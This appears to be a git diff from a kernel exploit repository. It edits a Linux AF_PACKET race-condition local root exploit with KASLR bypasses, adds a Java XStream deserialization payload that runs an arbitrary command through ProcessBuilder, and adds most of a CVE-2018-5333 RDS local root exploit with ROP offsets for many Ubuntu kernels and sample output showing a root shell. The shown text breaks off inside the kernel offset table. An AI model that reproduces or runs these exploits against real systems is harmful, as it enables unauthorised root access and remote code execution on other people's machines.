}
@@ -289,7 +309,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
dprintf("[-] couldn't set sigmask: %m\n");
exit(1);
}
@@ -300,7 +320,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error\n");
dprintf("[-] target socket error: %m\n");
exit(1);
}
@@ -324,7 +344,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread\n");
dprintf("[-] Error creating thread: %m\n");
return 1;
}
@@ -360,7 +380,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd\n");
dprintf("[-] could not map pbd: %m\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
@@ -415,13 +435,13 @@ void *modify_vsyscall(void *arg)
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
dprintf("[-] couldn't set sigmask: %m\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
*vsyscall = 0xdeadbeef + x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
@@ -449,7 +469,7 @@ void verify_stage1(void)
exit(0);
}
write(2,".",1);
write(2, ".", 1);
sleep(1);
}
@@ -471,7 +491,7 @@ void verify_stage2(void)
exit(0);
}
write(2,".",1);
write(2, ".", 1);
sleep(1);
}
@@ -548,7 +568,29 @@ void wrapper(void)
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
void check_procs() {
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
void check_env() {
int min_procs = 2;
int nprocs = 0;
@@ -559,7 +601,24 @@ void check_procs() {
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processor cores\n", nprocs);
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
}
struct utsname get_kernel_version() {
@@ -573,10 +632,11 @@ struct utsname get_kernel_version() {
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[512];
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
@@ -591,7 +651,7 @@ void detect_versions() {
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
@@ -607,15 +667,17 @@ void detect_versions() {
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
return 0;
}
*size = (*size / getpagesize() + 1) * getpagesize();
@@ -625,16 +687,17 @@ bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
return 0;
}
return true;
return 1;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
@@ -642,22 +705,25 @@ unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
unsigned long addr = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
addr &= 0xffffffffff000000ul;
return r;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
if (substr == NULL)
return 0;
}
int start = 0;
int end = 0;
@@ -666,17 +732,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
if (substr == NULL)
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
unsigned long addr = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
return r;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
@@ -699,9 +767,12 @@ unsigned long get_kernel_addr_syslog() {
return addr;
}
#endif
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
@@ -713,7 +784,7 @@ unsigned long get_kernel_addr_kallsyms() {
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
@@ -734,58 +805,23 @@ unsigned long get_kernel_addr_kallsyms() {
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
@@ -793,46 +829,50 @@ unsigned long get_kernel_addr_mincore() {
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
@@ -851,7 +891,7 @@ void launch_rootshell(void)
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] could not open %s\n", SYSCTL_PATH);
dprintf("[-] open(%s): %m\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
@@ -877,12 +917,12 @@ void launch_rootshell(void)
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
exit(EXIT_FAILURE);
}
}
@@ -890,8 +930,6 @@ void setup_sandbox() {
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
@@ -908,11 +946,11 @@ int main(int argc, char **argv)
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] checking kernel version\n");
detect_versions();
+54
View File
@@ -0,0 +1,54 @@
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<%=payload_cmd%>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
+883
View File
@@ -0,0 +1,883 @@
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
//
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
//
// Targets:
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
//
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
// - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
//
// This exploit is a modified extension of the original local root
// proof of concept exploit written by wbowling as an example of using
// CVE-2019-9213 to make previous kernel bugs exploitable:
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
//
// The original exploit is based on the null pointer dereference
// reproducer proof of concept and analysis by 0x36:
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
//
// wbowling has done most of the hard work, by utilising Jann Horn's
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
// virtual address 0 (without which this bug would not be exploitable on
// systems with a sufficiently large value for vm.mmap_min_addr);
// and developing the appropriate ROP chain.
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
//
// This exploit adds offsets for additional kernels, and introduces some
// additional features, such as KASLR bypasses and system checks, including:
// - check if system supports SMAP
// - check if system supports RDS sockets
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
// - https://grsecurity.net/~spender/exploits/exploit.txt
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
// - https://blog.lizzie.io/kaslr-and-perf.html
//
// Shoutout to nstarke for adding additional kernel offsets.
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
//
// This exploit also uses various code patterns copied from:
// - xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// - vnik's kernel ROP code:
// - https://github.com/vnik5287/kernel_rop
// ---
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
// $ ./cve-2018-5333
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
// [.] checking kernel version...
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
// [~] done, version looks good
// [.] checking system...
// [~] done, looks good
// [.] mapping null address...
// [~] done, mapped null address
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [-] kernel base not found in /proc/kallsyms
// [.] trying syslog...
// [-] kernel base not found in syslog
// [.] trying perf_event_open sampling...
// [.] done, kernel text: ffffffff9f000000
// [.] commit_creds: ffffffff9f0a4cf0
// [.] prepare_kernel_cred: ffffffff9f0a50e0
// [.] mmapping fake stack...
// [~] done, fake stack mmapped
// [.] executing payload 0x402119...
// [+] got root
// # id
// uid=0(root) gid=0(root) groups=0(root)
// ---
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
// <bcoles@gmail.com>
#define _GNU_SOURCE
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/perf_event.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_PERF 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Can be overwritten by argv[1]
char *SHELL = "/bin/sh";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
// kernel target struct, using ROP chain from wbowling's exploit
struct kernel_info {
const char* kernel_version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xor_rdi; //: xor edi, edi ; ret
uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
uint64_t swapgs; //: swapgs ; pop rbp ; ret
uint64_t iretq; //: iretq
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
/* Untested:
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
{ "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
{ "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb },
{ "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 },
{ "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 },
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
*/
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
//{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
//{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
//{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
